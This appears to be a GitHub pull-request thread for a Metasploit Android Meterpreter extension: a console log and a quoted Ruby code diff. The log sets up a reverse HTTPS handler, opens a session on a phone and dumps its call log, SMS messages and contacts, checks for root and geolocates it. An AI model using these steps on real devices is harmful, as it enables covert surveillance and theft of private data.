Android meterpreter extension

```
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_https
PAYLOAD => android/meterpreter/reverse_https
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > set LPORT 2222
LPORT => 2222
msf exploit(handler) > exploit 

[*] Started HTTPS reverse handler on https://0.0.0.0:2222/
[*] Starting the payload handler...
[*] 10.0.0.101:43620 Request received for /TAvM_4CurVL8LMrbIqy3V...
[*] Meterpreter session 1 opened (10.0.0.1:2222 -> 10.0.0.101:43620) at 2014-02-26 03:56:50 +0200

meterpreter > sysinfo 
Computer    : localhost
OS          : Android 4.1.1 - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android
meterpreter > help

Android Commands
================

    Command          Description
    -------          -----------
    check_root       Check if device is rooted
    device_shutdown  Shutdown device
    dump_calllog     Get call log
    dump_contacts    Get contacts list
    dump_sms         Get sms messages
    geolocate        Get current lat-long using geolocation


meterpreter > check_root 
[*] Device is rooted
meterpreter > dump_calllog
[] Fetching 164 entries
[] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[] Fetching 896 sms messages
[] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[] Fetching 618 contacts into list
[] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

Latitude  : 31.2186009
Longitude : 29.9448264
meterpreter > exit
```
store_loot comes from lib/msf/core/auxiliary/report.rb (include Msf::Auxiliary::Report) but you can’t use that from rex/post/meterpreter/ui/console/command_dispatcher/* you’d have to do it from msf/ui/console/command_dispatcher/*, as an example, look at msf/ui/console/command_dispatcher/db.rb

On Jul 28, 2014, at 2:02 AM, Anwar Mohamed <notifications@github.com> wrote:

> In lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb:
> 
> > +        print_line(dump_contacts_opts.usage)
> > +        return
> > +      when '-o'
> > +        path = val
> > +      end
> > +    }
> > +
> > +    contactList = Array.new
> > +    contactList = client.android.dump_contacts
> > +
> > +    if contactList.count > 0
> > +      print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
> > +      begin
> > +        info = client.sys.config.sysinfo
> > +
> > +        ::File.open(path, 'wb') do |fd|
> store_loot gives me this error
> 
> Error getting c`wall log: undefined local variable or method `framework' for #<Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Android:0x0000000aa07508>
> —
> Reply to this email directly or view it on GitHub.
>